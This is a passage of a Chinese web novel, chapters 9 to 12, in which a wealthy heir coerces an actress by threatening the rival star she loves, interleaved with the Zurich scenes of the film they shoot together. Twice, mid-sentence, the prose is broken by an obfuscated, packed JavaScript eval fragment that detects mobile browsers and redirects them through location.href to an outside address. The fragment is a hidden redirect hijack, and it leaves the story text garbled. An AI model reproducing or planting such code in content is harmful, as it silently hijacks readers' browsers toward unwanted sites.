商颂的心脏猛缩成一团。她抬起头,脸色苍白,“我和他只是……” “嘘。”周彻竖起一根手指,制止了她拙劣的谎言。 他松开手,慢条斯理地摘下眼镜,从一旁的置物格里抽出几张纸,一边擦拭镜片,一边语气平淡地讲故事。 “你觉得他很好,是吗?干净,热烈,像这娱乐圈里没被污染的最后一片雪?”周彻吹了吹镜片上的浮尘,“商颂,你也混了这么多年,怎么还这么天真?” 他重新戴上眼镜,眼里的光变得冰冷而锐利。 “伯雪寻,二十岁那年,为了拿到最顶级的资源,签了一份被业内称为‘死契’的对赌协议。” 商颂猛地抬头,瞳孔地震。 对赌协议? “三个亿,三年。”周彻报出数字,“为了凑那个天文数字,为了保住他在粉丝面前那副‘逆风翻盘,不畏强权’的落难公子人设,你知道他都在经历什么吗?” 周彻拿出手机,点开一张照片,轻轻推到商颂面前。 那是一张极具冲击力的偷拍图。 地点似乎是在某个高档却乌烟瘴气的私人会所。伯雪寻穿着并没有熨烫整齐的白衬衫,衣领大敞,整个人瘫软在沙发角落。他面色惨白如纸,身前的大理石茶几上摆满了东倒西歪的空洋酒瓶——那是纯度极高的烈酒。 而他的嘴角,挂着一丝令人心惊的污浊痕迹,那是胃里剧烈痉挛后吐出的胆汁。 “那是去年冬天。为了拿下一个顶级奢牌的代言,完成当季度的KPI,他一个人喝翻了一桌的资方。最后被经纪人拖走送去急救洗胃,差一点,酒精中毒就让他见不到第二天的太阳。” 商颂盯着那张照片。 照片里那个眼神涣散如同烂泥般狼狈的男人,和那个在雨里给她递玫瑰、在耳机里给她唱Demo、那个总是清高骄傲的伯雪寻,怎么也重合不起来。 一种尖锐的刺痛瞬间扎穿了她的心脏。 比幻灭更先到来的,是铺天盖地的疼。 原来他那副慵懒下的倦怠不是因为性格,是因为累。原来他所谓的“清贵”,是在烂泥潭里打滚后,拼命洗刷干净穿给世人看的最后一件戏服。 他是在悬崖边走钢丝的人,稍有不慎就是粉身碎骨。可就是这样一个自己都摇摇欲坠的人,却在暴雨里妄图为她撑伞,问她愿不愿意跟他一起沉没。 “商颂。” 周彻很满意她现在的表情。震惊、崩塌、恐惧。 这是熬鹰的过程。 要把她的希望一点点碾碎,让她明白所谓的“爱情”在资本和生存面前是多么脆弱不堪的一层糖衣。 他倾身向前,捏住商颂的下巴,强迫她从那张照片上移开视线,看着自己。 “你以为他在救你?他连他自己都救不了。” 周彻的声音如恶魔的呢喃,“跟我对着干,哪怕只是那个热搜我不高兴了,稍微动动手指,压垮他的就不只是那最后几千万的业绩,而是全行业的封杀。那份对赌协议失败的违约金,足以让他把牢底坐穿。” 商颂的眼泪终于无声地滚落下来。 烫得惊人。 “想让他死吗?”周彻拇指抹去她的泪珠,语气温存,“不想的话,就乖一点。” 这是一场不对等的屠杀。 周彻根本不需要做什么歇斯底里的举动,他只需要把血淋淋的现实摆在她面前:伯雪寻是易碎品,而他是那个拿着锤子的人。 保护伯雪寻唯一的办法,就是她自己回到笼子里去。 商颂闭上了眼睛。 所有的悸动、反叛、挣扎,在这一刻化作了齑粉。 她仿佛看到了伯雪寻在那个满是烟酒味的包厢里,仰头灌下最后一杯烈酒时的绝望;也看到了他在雨里亲吻她时,那种献祭般的孤勇。 那是他拼了命想留住的属于人的温度。 而她不能成为压死他的最后一根稻草。 许久。 车厢里死寂的空气重新流动。 商颂睁开眼,那双漂亮的眸子里,光芒彻底熄灭了,只剩下一片死灰般的顺从。 她主动将脸颊贴进周彻的掌心,像一只终于被驯服后认清了主人是谁的猫,乖巧得令人心碎。 “我错了,周大少。” 周彻笑了。 他感受到掌心里那温热的触感,知道这只鹰终于被熬透了,折断了翅膀,今后只会温顺地停在他的臂弯里。 “这才乖。”他俯身,给了她一个充满了奖赏意味的吻。 商颂闭着眼承受着这个吻。 心里想的却是那天耳机里伯雪寻那段粗糙的Demo。 那个因为对赌协议而被逼到绝境的男人,那个在烂泥里挣扎却还要伸手拉她的男人。 得知了他所有狼狈不堪的底色后,她发现自己…… 更爱他了。 10. 第 10 章 所谓的休息日,不过是将金丝雀从片场那座露天的笼子,转移到了香江这座寸土寸金的水晶宫里。 半山,私人会所的包厢。 商颂身上那件朱砂红的真丝旗袍是周彻设计的,金色珠链点缀于立领口,袍身的开衩直接在腰腹,侧身用两枚盘扣束起,大露背弧度在饱满圆润的腰臀线。 “这里的杨枝甘露是全港最正宗的,尝尝。” 周彻坐在她身旁,并未动筷,只是用掌握着数亿资金流向的手,替她盛了一小碗。那一勺金黄浓稠的芒果汁液缓缓流淌,这动作由他做来,有一种不动声色的恩赐感。 商颂低声道谢,脚下就是维港璀璨却虚幻的夜景,她却生出说不出的怅惘,这里太冷了。 周彻似乎很满意她的安静。他端起茶杯,轻轻吹开浮沫,刚要开口说些什么,那两扇沉重的花梨木门被人从外面推开了。 “我就说在楼下看着车牌眼熟,还真是大哥。” 一道温润含笑的声音切入进来,商颂下意识地抬头。 门口站着一个穿着亚麻质地唐装的男人,手腕上那串极其惹眼的奇楠沉香手串在灯光下泛着幽暗的油光。他和周彻有三分像,却少了几分那种甚至能割伤人的锋利,多了一层常年浸淫在名利场里修练出来的雾蒙蒙的圆滑。 周晔。 周家的二少爷,那个在这个名利场里以“吃斋念佛”掩盖一身狼性的笑面虎。 周彻拿着茶杯的手未动分毫,甚至连眼皮都没抬一下,“这么巧。看来我不仅要在董事会看见你,连出来透口气都躲不掉。” 周晔并不恼,他自顾自地走进来,视线在商颂身上流连了一圈,从她精致的盘发滑落到她领口的那枚翡翠扣子上。 “这就是商小姐吧?”周晔笑意更深,眼角堆起几道看似慈悲的纹路,“真人的确比大银幕上还要动人。难怪大哥最近连家族信托的会议都推了,也要往那个什么……片场跑。” 商颂感觉周彻搭在她椅背上的手臂微微收紧了一瞬。 那是领地被侵犯后的应激反应。 “既然碰上了,不介意拼个桌吧?”周晔拉开对面的椅子,虽是询问,人却已经坐了下来,“正好,那几位在楼下打牌的世叔伯也一直念叨,说好久没见大哥带女眷出来了。” “世叔伯”三个字,被他咬得极重。在他们讲究宗族与资历的家庭里,那是压在周彻头顶的大山。 侍应生重新添了一副碗筷。 周彻终于放下了茶杯,眼神冷淡,“如果你是来当说客的,这顿饭你可以免了。” “大哥这话说的,生分了。”周晔拿起公筷,夹了一块蒸得剔透的虾饺放进嘴里,“我不过是替家里那几位老人家传个话。最近那个……叫《窥镜》的戏,闹得沸沸扬扬的。” 他慢条斯理地咀嚼着,“咱们周家以前虽也投过些女明星,但也就是玩票。像大哥这样,真金白银甚至搭上对赌协议也要捧一个人的,还是头一回。” 周彻向后靠在椅背上,修长的双腿交叠,那种与生俱来的上位者气场铺开,“那是我的私产。我想怎么玩,轮不到旁人置喙。” “私产是私产,可这脸面,是周家的。” 周晔从随身的西装口袋里掏出一份折叠的报纸,那是港媒最擅长的八卦周刊。封面用极其艳俗的黄色大字标题,配上那张伯雪寻在雨中亲吻商颂的高糊路透图,再加上那些不堪入目充满性|暗示的港式标题—— 《内地顶流湿身激吻金主豪掷千金竟成冤大头?》 周晔将报纸轻轻推到旋转餐桌的转盘上,手指一拨。 那张报纸转过半圈,停在周彻面前。 “大哥,你在内地的公关撤得掉微博热搜,可撤不掉香江这些狗仔的嘴。”周晔叹了口气,把玩着手中的沉香珠子,“今早我和几位叔伯喝早茶,他们看了这报纸,笑得那是相当‘开心’。说咱们周家的大少爷,为了一个戏子争风吃醋,还被人拍到这副如胶似漆的模样……这如果是真的,那下个月股东大会上的信任票,怕是……” 他故意没把话说完,只是意有所指地看向商颂。 商颂放在膝盖上的手死死绞在一起。 在这样的权势面前,她的辩驳就像一只蚂蚁试图绊倒大象一样可笑。 “所以呢?” 周彻看也没看那份报纸,只是淡淡地注视着周晔,“你想说什么?” 周晔身子微微前倾,脸上的笑容收敛了几分,露出一种图穷匕见的阴狠,“我是想劝大哥,既然只是玩物,何必那么认真?这种不清不楚、心还在野男人身上的女人,留在身边也就是个祸害。为了这么一个女人,让咱们周家的股票跟着波动,不值当。” 他顿了顿,补了一刀:“或者,如果大哥实在舍不得,不如让弟弟帮你调教调教?这边的狗仔我熟,保准让那个姓伯的小明星彻底在这个圈子里销声匿迹,也省得大哥看着心烦……” “哗啦”一声。 是周彻手中的红酒杯倾倒了。 暗红色的酒液顺着雪白的桌布蔓延开来。 周彻没有发火,他甚至没有站起来。他只是平静地拿起一方雪白的餐巾,盖住了那一滩刺眼的红,动作优雅得像是在掩盖一场谋杀。 “周晔。” “你的手,伸得太长了。” 周晔嘴角的笑容僵了一下。 周彻慢条斯理地擦着手上溅到的一点酒渍,“我想你搞错了一件事。在其他地方,我可以看在老头子的面子上给你留几分薄面。但在这里……” 他抬起眼,摘下那副一直架在高挺鼻梁上的金丝眼镜。那一瞬间,他原本那种精英的斯文感彻底撕裂,暴露出深藏在骨子里的暴戾与傲慢。 那是真正在血腥资本积累中厮杀出来的戾气,远不是周晔这种只会搞背后小动作的人能比拟的。 他伸手,极其粗暴地揽住商颂的腰,将那个浑身僵硬的女人死死扣在自己怀里。 “这个女人,是我一手捧出来的。她的每一寸皮肤,每一滴眼泪,甚至她在戏里对着别人流露出的每一点情绪,都是我花钱买下的所有权。” 周彻的声音不大,却带着令人胆寒的威压,“别说那个姓伯的玩意儿吻了她,就算全天下的男人都盯着她,只要我没点头,谁也别想把她带走。至于你……” 他冷笑一声,将那团沾了酒渍的餐巾纸狠狠砸在周晔面前的盘子里,“想用这点下三滥的手段来动摇我的位置?你还是回去把你的佛经抄明白吧。信不信,我明天就能让你的名字从家族信托的受益人名单上消失?” 周晔的脸色瞬间变得铁青。他手中的沉香手串猛地停住,死死盯着那团污糟的餐巾,仿佛被羞辱的是他的脸皮。 这是一场极其难看的摊牌。 所有的体面都被剥离,只剩下赤裸裸的权力碾压和最原始的占有欲。 商颂靠在周彻怀里,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126697|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听着那些将她彻底物化的话语,心一点点沉下去。 周彻根本不在乎那个吻是不是真的。 他在乎的,只有这种被挑衅的掌控感。对他来说,无论是她还是伯雪寻,都不过是他权杖下的一粒微尘。 “这饭菜馊了,没法吃了。” 周彻站起身,一把将商颂拉起来。他的力道很大,拽得商颂踉跄了一下。 “大哥好大的火气。”周晔咬牙切齿地挤出一句,“只怕这火气撒错了地方,到时候引火烧身。” 周彻走到门口,脚步顿住。 他没有回头,只是在空气中留下最后一句警告:“那也是我的火。管好你自己。还有,让外面那几个老家伙闭嘴。” 砰。 沉重的木门在身后合上,隔绝了周晔阴毒的视线。 走廊里的空气更加阴冷。 周彻走得极快,商颂穿着高跟鞋,不得不跌跌撞撞地小跑才能跟上。那件昂贵的真丝旗袍在快速的走动中摩擦出细微的声响,像是在求救。 出了会所,黑色的宾利早就等候在雨幕中。 车门关上的那一刻,世界的嘈杂瞬间消失。 车厢里只剩下周彻略显粗重的呼吸声。 窗外的霓虹灯光怪陆离,在中环的高楼大厦间折射出迷幻的光影,斑驳地洒在他半明半暗的侧脸上。 他忽然伸手,一把捏住商颂的下巴,强迫她转过脸来看着自己。 指腹粗砺地碾过她的唇瓣,那是带着惩罚性质的触碰。 “看见了?” 周彻的声音沙哑,透着一股深深的疲惫和阴鸷,“这就是你们所谓的‘真爱’惹出来的笑话。一张照片,就给了周晔那条疯狗咬我一口的机会。” 商颂被迫仰着头,眼眶发酸,却不敢掉下一滴泪。 “对不起……” “我不需要对不起。”周彻猛地凑近,“商颂,你既然选择做我的金丝雀,就要有做笼中鸟的觉悟。你以为伯雪寻那个蠢货那种幼稚的点赞是在爱你?他那是递了一把刀子给周晔,而那把刀子最后会扎在谁身上?嗯?” 商颂浑身颤抖。 她当然知道。那刀子会扎在她身上,会扎在伯雪寻身上。 “剧组那边,还有多久?”周彻问。 “还有半个月。” “好。” 周彻松开了手,身体向后靠去,他整理了一下自己的袖扣,仿佛刚才那个失态的暴君不是他。 “拍完之后,如果你还不能彻底把那个什么‘阿春’从身体里剥离干净,如果再让我听到那个名字……” 他偏过头,看着窗外雨雾迷蒙的维多利亚港,“我就让这颗在这个圈子里本就不稳的星星,彻底陨落。” “戏里的海很大,填一个不会游泳的人进去,连个水花都不会有。香港这边的海,应该也差不多。” 商颂的心跳在那一瞬间彻底停摆。 她很清楚他不是在开玩笑。 为了他的颜面,为了他在周家那不可撼动的继承权,捏死一个没有任何背景的流量明星,对他来说不过了了。 周彻伸出手,将她揽进怀里,手指轻轻抚摸着她冰凉的后颈,“吓到了?” “没有,你就是这样的。”商颂说。 “这才乖。”他在她额头上印下一个吻,轻声道,“乖乖呆在我给你筑的金屋里。外面的风雨太大,你和那个玩意儿,都受不起。” 11. 第 11 章 商颂回到片场时,心脏悬在嗓子眼。 她怕周彻那不可一世的少爷脾气发作,说走就走;也怕这场名为拍戏实为“熬鹰”的游戏突然按下终止键,那样等待她的就是更纯粹的囚禁。 “各部门准备!三、二、一,Action!” 还好,段南桥不愧是拿过奖的“戏疯子”,也不知用了什么法子,不仅稳住了这尊大佛,甚至让周彻眼底那种随时要爆发的戾气,完美地转化为了镜头前所需的冷血与厌世。 戏里的时间线回到事件开端,易为春与周游的初遇被乔装成一场落花流水的意外。镜头推进,“WidderBar”昏暗的角落。 周彻穿着那件从他自己衣柜里拿来的深炭灰羊绒大衣,黑衬衫没打领带,领口微敞。他不需要化妆师去刻意修饰那种“富贵闲人”的倦怠,他只是坐在那里,手里晃着一杯单麦威士忌,便是将整个世界都视为消遣道具的傲慢。 这不是演戏,这是周大少的日常。 戏中周游很无聊。 自二十二岁接手家族在欧陆的航运线三年,他得过太多的阿谀奉承,扫过太多贴上来的女人。那些女人像流水线上的罐头,或者是精装的书籍,还没翻开,他就已经知道了结局。 无论她们表现得多么清高、泼辣、或者温柔小意,只要他稍微晃一晃手指缝里漏下的一点资源,她们眼里的光就会变成狼的贪婪或狗的顺从。 “周先生,那边有桌留学生一直在看这边。”坐在他对面的朋友低声笑道,这人叫陆行,是当地有名的二世祖,也就他在周游面前敢大声说话。 周游连眼皮都没抬,修长的手指轻轻敲击着杯壁,“吵。” “别这么冷淡嘛,这异国他乡的。虽然我也知道,咱们周先生什么样的国色天香没见过,早已万叶丛中过,片叶不沾身了。” 周游嗤笑一声:“那是她们本身就没有粘性。” 正如陆行所言,他不是柳下惠,但他对猎物的挑剔程度令人发指。他喜欢聪明人,但讨厌自作聪明;喜欢美人,但厌恶美而无脑。 就在这时,酒吧厚重的橡木门被推开了。 易为春就是在这个时候走进来的。 她没有带伞。黑色的长发湿漉漉地贴在脸颊一侧,她穿得并不像那些在苏黎世酒吧里急于展示身材的女孩,反而把自己裹得很严实——一件款式有些复古的男式大廓形风衣,腰带随意地束着,脚下是一双沾了雪泥的黑色短靴。 如果不看脸,她像个落魄的流浪客。 但周游抬眸的那一瞬间,目光在她脸上停顿了两秒。 那是一张没有任何讨好意味的脸。五官极具冲击力,带着一股子从泥土里刚被拔出来的生劲儿,眼尾却微微上挑,生着一粒极淡的泪痣。她像是从某种古老画卷里走出来的妖精,却被现代文明的暴雪淋了个透心凉。 她并没有环顾四周寻找座位,也没有像其他人那样对周围奢华的环境露出哪怕一丝好奇。她只是径直走向吧台,路过周游这一桌时,她的脚步并没有放慢。 但是在经过他身边的一刹那,变故发生了。 因为风衣下摆太长,也或许是地上的水渍太滑,她稍微踉跄了一下。 周彻下意识伸出的手,也不是演的,那是他身体本能地护住商颂。但他在半空中顿了一下,化为了“周游”的冷淡一扶。 隔着羊绒大衣和衬衫,他能感觉到那一瞬的抓力。 不重,却带着惊人的热度。 商颂并没有出戏,段南桥也没有喊Cut。 接着是一个烂俗到极点的桥段。借火。 易为春很清楚,如果她直接走过去说“先生借个火”,或者抛个媚眼,周游大概率只会让保镖把她丢出去,或者用那种看垃圾的眼神直接把她冻死在原地。 所以她没有走过去。 她只是咬着那根未点燃的烟,侧身坐在高脚椅上,一条长腿随意地垂下,目光虚虚地扫过周游的方向。 眼神没有聚焦在他那张英俊得过分的脸上,而是在看他头顶那盏昏黄摇曳的复古水晶吊灯。 她的眼神里有种破碎感。仿佛她嘴里叼的不是烟,是她今晚最后一口赖以生存的氧气。 然后,她像是终于放弃了寻找火源,有些自嘲地勾了勾嘴角,拿下烟,轻轻叹了口气,准备把它放回那个干瘪的烟盒。 那声叹息很轻。 但在爵士乐偶尔的停顿间隙里,像是一根羽毛,精准地扫过了周游的耳膜。 周游放下了酒杯。他一直没移开的目光,就这样沉沉地看着她。 这个距离,他能清晰地看清她侧脸优美的下颌线,还有那截被黑色高领毛衣包裹显得格外修长的脖颈。她看起来很落寞,那种落寞不像是演给别人看的,倒像是一朵快要枯萎的野玫瑰,在等待一场不知会不会来的救赎,或者毁灭。 这种颓废的美感,恰好戳中了周游那种变态的审美。 鬼使神差地,周游拿起了桌上那只价值不菲的黑金色都彭打火机。 “当。” 一声清脆悦耳的金属开盖声。 都彭火机特有的声响,在这静谧的空间里显得格外突兀,像是某种信号。 易为春正要收烟的手顿住了。她缓缓转过头,视线终于第一次,真真正正地聚焦在周游的脸上。 这一次,她看清了他眼底那种似笑非笑。 周游手里把玩着那个金属方块,并没有说话,只是微微扬了扬下巴,眼神玩味地示意了一下。那意思很明显,带着居高临下的施舍:要火吗? 易为春没有立刻起身。 她盯着周游看了足足五秒。这五秒钟是一场极其精密的心理博弈。 如果她立刻感激涕零地跑过去,那就落了下乘,成了那种招之即来的庸脂俗粉;如果她清高地拒绝,那就是不识好歹,会让他彻底失去兴趣。 于是,她突然笑了。 那笑容极淡,像冰雪初融,却又带着一点点坏。 她站起身,拎着烟走了过去。但她没有走到他身边,也没有试图坐下,而是走到了他卡座旁边的过道,维持着一个极其微妙的安全社交距离。 她微微俯身,长发垂落下来,遮住了一半脸庞,将那根烟递到了他面前。 这个距离,依然不够近。 如果周游要给她点火,他就必须稍微探身,或者抬手。 这是她在逼他“动”。 在这场上位者与下位者的游戏中,只要那个高高在上的神动了一下,哪怕只是抬一下手,那种绝对的控制姿态就破了一角。 周游看着凑近的那张脸。 近看皮肤更细,甚至能看清她鼻尖上一点小小的红——那是刚才在外面被风雪冻的。她身上没有浓烈的高级香水味,只有一股混合了清冽的雨雪、廉价的洗衣粉和某种说不清道不明的苦橙花的生涩味道。 这就是陆行口中“新鲜”的味道。 周游抬手。 “咔哒”一声。蓝色的火焰在金属机口窜起。 易为春低头,凑近火苗。 火光照亮了她的眉眼,那一瞬间,她的睫毛颤动,然后极其大胆地向上抬起。 隔着缭绕升起的第一缕烟雾,她极具侵略性地看了周游一眼。 那个眼神,又野,又媚,像是要透过他的眼睛,看到他心里那片废墟。 烟点着了。 她并没有立刻退开。 她直起身,红唇含着烟嘴,深吸了一口。 然后,她做了一个让周游没想到的动作。她微微仰头,将那一口淡薄的烟雾,并没有直接喷在他脸上,而是顺着风向,缓缓地吐向了周游领口的位置。 烟雾缭绕在他鼻端,带着她的气息。 “谢谢。” 她声音低柔,带着被烟草熏过后的沙哑。 “不用。”周游合上火机,声音依旧平稳冷淡,但手指却无意识地摩挲了一下金属外壳上那繁复的纹路。 易为春没有走。 她站在那里,手指夹着烟,另一只手插在风衣口袋里,忽然开口问了一个极其突兀且充满文艺病的问题: “先生。如果你有一艘船,但你知道它注定永远到不了岸,你会选择就在这暴风雨里凿沉它,还是让它继续在海上飘着等死?” 这个问题没头没脑,甚至矫情得有些做作。 但放在这个暴雪封城的苏黎世深夜,放在这两个同样灵魂似乎无处可去且都带着一身伤痕的人之间,竟然产生了一种奇妙的化学反应。 因为周游是真的有一艘“沉船”。不仅仅是家族的生意,更是他心里的那道疤。 周游抬眼,这次终于正眼对上了她的视线。他阅人无数,听过无数搭讪的开场白。有的聊百达翡丽,有的聊苏富比拍卖,有的聊星座缘分。 只有她,上来就聊毁灭。 周游向后靠在沙发背上,换了个更慵懒也更具审视意味的姿势,“那取决于船上载的是什么。是黄金,还是垃圾。” 易为春轻轻弹了弹烟灰,那动作并不熟练,却又极其优雅,“如果载着的是你最想丢掉,却又最舍不得丢掉的东西呢?” 周游的瞳孔微微一缩。 这女人,有点意思。 “那就烧了。”周游淡淡道,“连船带货,一把火烧个干净。看不见,就不心烦。” 够狠。这才是那个传说中六亲不认的周疯子。 易为春眼里的笑意加深了。她知道自己这把梭|哈赌对了。周游这种人,表面看起来遵循上流社会的规则,其实骨子里全是暴戾的破坏欲。 “英雄所见略同。” 她说着,做了一个让周游意想不到的动作。 她没有要顺杆爬坐下的意思,也没有继续攀谈要个联系方式。 她将那根只抽了两口、大部分还在燃烧的烟,极其干脆地按灭在周游桌上那个精致的水晶烟灰缸里。 那点火星在水晶底座上嘶嘶作响,最后变成一缕死灰。 然后,她从那个破风衣的口袋里掏出了一样东西。 不是名片,也不是手机。 是一颗糖。 那种便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126698|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利店收银台旁边最廉价的、蓝白色包装纸的薄荷硬糖。 她将糖放在那把价值好几万的都彭打火机旁边。 “那就不打扰您的烧船雅兴了。” 她把糖往前推了推,“借火的报酬。” 说完,她竟然转身就走。 转场画展,两人再次相遇,周游正式认识易为春或者是Cecilia,两人走到利马特河边的一座桥上。 底下是漆黑冰冷的河水,无声地流淌。 “刚才你说,想剪我的头发。”周游忽然旧事重提,背对着河水,双手撑在栏杆上,风把他的长风衣吹得猎猎作响。 “比喻而已。” “我不喜欢比喻。”周游从大衣口袋里,竟然掏出了一把折叠刀。 刀锋弹出,在路灯下闪过寒光。 他把刀柄递给易为春,另一只手抓起自己的一缕长发。 “想剪吗?给你个机会。”他的眼神疯狂而执拗,“只有一次机会。剪了,我就是你的。” 易为春愣在原地。 这男人疯了。 彻头彻尾的疯子。他在用这种极端的方式测试她的胆量,也在试探她所谓的“征服”到底是不是叶公好龙。 易为春看着那把刀,又看着他被夜风吹乱的几缕碎发和那双充满挑衅的眼睛。 此时此刻,周游就像是那个站在悬崖边的海妖,在引诱水手撞上礁石。 接,还是不接? 如果接了剪下去,这或许是个震撼的举动,但也可能让他瞬间失去兴趣,毕竟真剪坏了他的形象,这少爷发起火来难以收拾。如果不接,那就是怂了,之前的豪言壮语瞬间变成笑话。 易为春深吸一口气。 她伸手,握住了那把刀。 刀柄冰冷沉重。 她往前走了一步,靠近周游。 周游没有动,甚至连眼睛都没有眨一下,就这样似笑非笑地看着她。 易为春抬起手,刀锋逼近了他的发梢。 就在刀刃即将触碰到头发的那一瞬间,她手腕猛地一转。 “铮!” 并不是头发断裂的声音。 那是刀刃割断了他大衣第二颗纽扣线的声音。 那颗昂贵的由黑玛瑙制成的纽扣,“啪嗒”一声掉落在地上,滚了几圈,并没有掉进河里,而是停在了易为春脚边。 周游有些意外地挑了挑眉。 易为春弯腰,捡起那颗纽扣,当着他的面,把它放进了自己贴身的口袋里。 “身体发肤,受之父母。我可不想当你那个大逆不道的罪人。” 易为春合上折叠刀,把它塞回周游的风衣口袋里,还要顺便替他整理了一下有些敞开的领口。 “我要这个纽扣就够了。”她抬起头,笑意盈盈,眼里藏着钩子,“它是距离你心脏最近的那一颗。” 这个回答,简直满分。 既保留了他的头发,又展现了她的侵略性,还附带了一个浪漫至极的理由。 周游看着她,看了很久。 风雪在他的睫毛上凝结成霜。 那种疯狂的神色逐渐从他眼里褪去,变成了一种类似于看到同类般的认可。 这女人不仅聪明,而且懂进退,知分寸,却又能在分寸之内把他撩拨得火烧火燎。 “易为春。” 他第一次这么正式地叫她的全名。 “怎么了,周先生?” 周游突然伸手,一把揽过她的腰,这次不再是试探,而是结结实实地将她扣在怀里。那头马尾垂落,他低下头,冰凉的鼻尖抵着她的鼻尖。 “明天我要飞伦敦。”他说,“行程三天。” “祝你一路顺风?”易为春问,心里却在盘算这三天是不是这男人的冷静期。 “我不喜欢只有我一个人不舒服。”周游的唇距离她只有几毫米,“既然你拿走了我的扣子,我不拿点什么,这生意我就亏了。” “那你想要什么?” “我想看看,你的口红味道是不是和你的嘴一样硬。” 下一秒,吻落了下来。 不是偶像剧里那种唯美的慢镜头。而是一个带着惩罚和掠夺的深吻。 他在冰天雪地的桥头,在异国他乡的风中,在那件黑色长风衣的包裹下,肆无忌惮地入侵了她的领地。他的长发扫过商颂的脸颊,痒,却带着令人心悸的触感。 商颂没有推开。 她双手环住他的脖子,手指深深地插入了他后脑勺的头发里,揪紧。 在这场吻里,没有谁是输家。 直到两人都气喘吁吁,周彻才松开她。他的嘴唇上也沾染了她的口红,那一抹红在他苍白的脸上显得格外情|色。 他拇指抹去唇角的红痕,眼神幽暗如狼。 “三天后我回来。”他把那一头此时已经被她弄得凌乱不堪的长发解开,黑发瞬间如瀑布般散落,“把你自己洗干净。这次,我不只想要一颗糖或者一个吻了。” 这是加戏。 也是周彻的本色出演。 12. 第 12 章 易为春是个高段位的女人。商颂每次读剧本都会敬佩段南桥的脑洞。 伦敦飞苏黎世的航班因为暴雪延误了六个小时。 对于易为春来说,这三天也就是七十二小时,是一场无声的静默审判。周游就像一滴蒸发在空气里的水,自那个桥头之吻后,彻底失去了音讯。没有短信,没有电话,连那张名片都仿佛成了废纸。 普通女人这时候会焦虑,会患得患失,会忍不住发一条“你在哪”或者“到了吗”的试探信息。 但易为春没有。 她窝在那间散发着霉味的小公寓里,只做了一件事。 在第二天深夜,她洗完澡,皮肤被热水蒸得粉红。她只穿了一件大领口的睡衣,将那枚偷来的黑玛瑙纽扣放在深陷的锁骨窝里。 那一颗冷硬漆黑的纽扣,衬着她那一小片莹白如玉的肌肤,形成了一种极具视觉冲击力的反差。 “咔嚓”。 她拍了一张照片。照片里没有露脸,只有脖颈、锁骨、半遮半掩的睡衣蕾丝边,以及那颗属于周游的扣子。 发送。 没有配文。任何文字在此时都是多余的解释。 十分钟后,手机震动了一下。 周游回了。只有一个标点符号。 【。】 句号。 是已阅?是无语?还是话题终结? 易为春盯着那个句号看了半晌,嘴角勾起一抹狐狸般的笑。都不是。在周游这种人的语境里,句号代表“知道了,等着”。 只要不是删除拉黑,就是游戏继续。 直到第三天夜里十一点。 苏黎世的雪变成了夹着冰碴的冷雨。这种天气阴冷入骨,那间老破小的阁楼窗户漏风,发出呜呜的鬼叫声。 易为春正缩在被子里,画那张这几天一直没完成的素描——那是周游的侧脸,只不过她把他画成了一个被长发缠绕的受难圣徒。 “咚、咚、咚。” 门被敲响了。 不像房东老太太那种拖沓的脚步声,这敲门声节奏沉稳,有力,甚至带着一种并不急切的傲慢。 易为春的心脏猛地跳了一下。 她没有立刻去开门,而是先光着脚跳下床,把自己那头长发抓得稍微凌乱蓬松了一些,又从抽屉里拿出一瓶并没有牌子的廉价身体乳快速抹在手腕和耳后,形成某种冷杉混合着牛奶的味道。 做完这一切,她才赤着脚走去开门。 门开了。 狭窄阴暗的走廊里,站着一个高大的黑影。 楼道里的感应灯接触不良,忽明忽暗地闪烁着。在那不稳定的光线下,周游一身寒气地站在那里。 他依然穿着那件那天被她割掉纽扣的长款黑色风衣,衣摆沾了些许泥点。那一头标志性的中长发半湿不透地贴在脸颊和脖颈处,显得他的脸色苍白,眼底还有明显的青色。 那是连轴转了三天行程的疲惫。 但他那种由内而外散发出的压迫感,丝毫未减。 这里是贫民窟般的旧公寓,周围住的都是偷渡客或者穷学生。周游这种浑身上下每一个毛孔都写着“金钱与权力”的男人出现在这里,就像一条鲨鱼游进了肮脏的小水沟。 极其违和。 易为春抓着门框,依然演着她的戏:“周…周先生?” 周游没接话,视线落在她冻得蜷缩的赤足上,随即不客气地推开她,登堂入室。 “去倒水。” 他反客为主地坐在那张硬板床上,脱下那件湿重的大衣。里面那件真丝衬衫贴在身上,勾勒出紧致的线条。 易为春递了水过去,看着他并没有喝,而是起身走向那个满是油烟味的小厨房。 堂堂周家掌权人,在这个转身都困难的破厨房里,拿着一口黑底的小铁锅下面条。 这种极具割裂感的画面,不是温情,是另一种更为强势的领地标记。他用这碗西红柿鸡蛋面告诉她:哪怕是在这种烂泥塘里,掌握生杀大权的也是他。 面煮好了,热气腾腾。 两人在狭小的方桌对坐,膝盖在桌下无可避免地相抵。周游没有退,反而甚至往前顶了一下,将她的腿夹在双腿之间。 “吃。” 这一字命令,裹挟着不容置疑的掌控欲。 “在伦敦这几天,除了发那张照片勾引我,还做了什么?”周游一边优雅地吃面,一边随意地问。 “画画。” “画什么?” “画你。”易为春也没藏着掖着,下巴点了点桌上那一堆废纸。 周游伸手抽过一张。 那是铅笔速写。画上的男人有着长长的头发,但他被很多绳索捆绑着,眼神却是悲悯而高傲的。 “捆绑?”周游挑眉,“SiSi,你的性癖很超前啊。” “这是隐喻。”易为春更正道,“被世俗捆绑的神。” 